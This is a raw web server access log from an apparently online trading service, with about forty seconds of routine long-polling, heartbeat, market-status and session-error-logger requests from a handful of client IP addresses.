[09/Jan/2026:11:53:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931087625 HTTP/1.1" -
[09/Jan/2026:11:53:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931088182 HTTP/1.1" -
[09/Jan/2026:11:53:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931089204 HTTP/1.1" -
[09/Jan/2026:11:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:40 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931087778 HTTP/1.1" -
[09/Jan/2026:11:53:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931089546 HTTP/1.1" -
[09/Jan/2026:11:53:41 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931090558 HTTP/1.1" -
[09/Jan/2026:11:53:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931091462 HTTP/1.1" -
[09/Jan/2026:11:53:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931092681 HTTP/1.1" -
[09/Jan/2026:11:53:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931093382 HTTP/1.1" -
[09/Jan/2026:11:53:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931094243 HTTP/1.1" -
[09/Jan/2026:11:53:45 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931092841 HTTP/1.1" -
[09/Jan/2026:11:53:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931094647 HTTP/1.1" -
[09/Jan/2026:11:53:46 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931095638 HTTP/1.1" -
[09/Jan/2026:11:53:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931096517 HTTP/1.1" -
[09/Jan/2026:11:53:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931097739 HTTP/1.1" -
[09/Jan/2026:11:53:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931098611 HTTP/1.1" -
[09/Jan/2026:11:53:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931099279 HTTP/1.1" -
[09/Jan/2026:11:53:50 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931097883 HTTP/1.1" -
[09/Jan/2026:11:53:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931099808 HTTP/1.1" -
[09/Jan/2026:11:53:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931100697 HTTP/1.1" -
[09/Jan/2026:11:53:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931101574 HTTP/1.1" -
[09/Jan/2026:11:53:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:53:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931102794 HTTP/1.1" -
[09/Jan/2026:11:53:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:53:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:53:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931103873 HTTP/1.1" -
[09/Jan/2026:11:53:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931104303 HTTP/1.1" -
[09/Jan/2026:11:53:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931102937 HTTP/1.1" -
[09/Jan/2026:11:53:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931104953 HTTP/1.1" -
[09/Jan/2026:11:53:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931105752 HTTP/1.1" -
[09/Jan/2026:11:53:57 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931106659 HTTP/1.1" -
[09/Jan/2026:11:53:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931107849 HTTP/1.1" -
[09/Jan/2026:11:54:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931109330 HTTP/1.1" -
[09/Jan/2026:11:54:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931109197 HTTP/1.1" -
[09/Jan/2026:11:54:00 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931107969 HTTP/1.1" -
[09/Jan/2026:11:54:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931110108 HTTP/1.1" -
[09/Jan/2026:11:54:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931110808 HTTP/1.1" -
[09/Jan/2026:11:54:02 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931111718 HTTP/1.1" -
[09/Jan/2026:11:54:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931112908 HTTP/1.1" -
[09/Jan/2026:11:54:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931114373 HTTP/1.1" -
[09/Jan/2026:11:54:05 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931113050 HTTP/1.1" -
[09/Jan/2026:11:54:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931114403 HTTP/1.1" -
[09/Jan/2026:11:54:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931115257 HTTP/1.1" -
[09/Jan/2026:11:54:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931115866 HTTP/1.1" -
[09/Jan/2026:11:54:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931116771 HTTP/1.1" -
[09/Jan/2026:11:54:09 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931117973 HTTP/1.1" -
[09/Jan/2026:11:54:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931119414 HTTP/1.1" -
[09/Jan/2026:11:54:10 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931118136 HTTP/1.1" -
[09/Jan/2026:11:54:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931119636 HTTP/1.1" -
[09/Jan/2026:11:54:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931120382 HTTP/1.1" -
[09/Jan/2026:11:54:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931120920 HTTP/1.1" -
[09/Jan/2026:11:54:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931121828 HTTP/1.1" -
[09/Jan/2026:11:54:14 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931123027 HTTP/1.1" -
[09/Jan/2026:11:54:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931124449 HTTP/1.1" -
[09/Jan/2026:11:54:15 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931123195 HTTP/1.1" -
[09/Jan/2026:11:54:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931124899 HTTP/1.1" -
[09/Jan/2026:11:54:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931125445 HTTP/1.1" -
[09/Jan/2026:11:54:17 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931125978 HTTP/1.1" -
[09/Jan/2026:11:54:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931126884 HTTP/1.1" -
[09/Jan/2026:11:54:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931128081 HTTP/1.1" -
[09/Jan/2026:11:54:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:54:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:54:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:54:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931129497 HTTP/1.1" -
[09/Jan/2026:11:54:20 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931128267 HTTP/1.1" -
